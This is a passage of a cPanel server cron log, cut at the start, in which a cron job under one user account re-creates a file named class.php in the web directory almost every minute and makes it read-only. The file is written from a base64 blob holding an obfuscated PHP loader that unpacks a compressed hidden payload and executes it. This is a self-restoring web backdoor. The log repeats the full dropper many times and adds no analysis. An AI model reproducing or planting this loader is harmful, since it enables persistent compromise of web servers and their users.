3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:09:01 server CROND[16257]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 10:10:01 server CROND[16317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 10:10:01 server CROND[16319]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 10:10:01 server CROND[16321]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 10:10:01 server CROND[16320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:11:01 server CROND[16523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:12:01 server CROND[16571]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 10:12:01 server CROND[16572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:13:01 server CROND[16664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:14:01 server CROND[16728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:15:01 server CROND[16780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:15:01 server CROND[16781]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 10:15:01 server CROND[16779]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 10:15:01 server CROND[16782]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 11 10:16:01 server CROND[16892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:17:01 server CROND[16934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:18:01 server CROND[17086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:19:01 server CROND[17135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:20:01 server CROND[17183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 10:20:01 server CROND[17185]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 10:20:01 server CROND[17186]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 10:20:01 server CROND[17187]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 10:20:01 server CROND[17188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:21:01 server CROND[17295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 10:22:01 server CROND[17337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
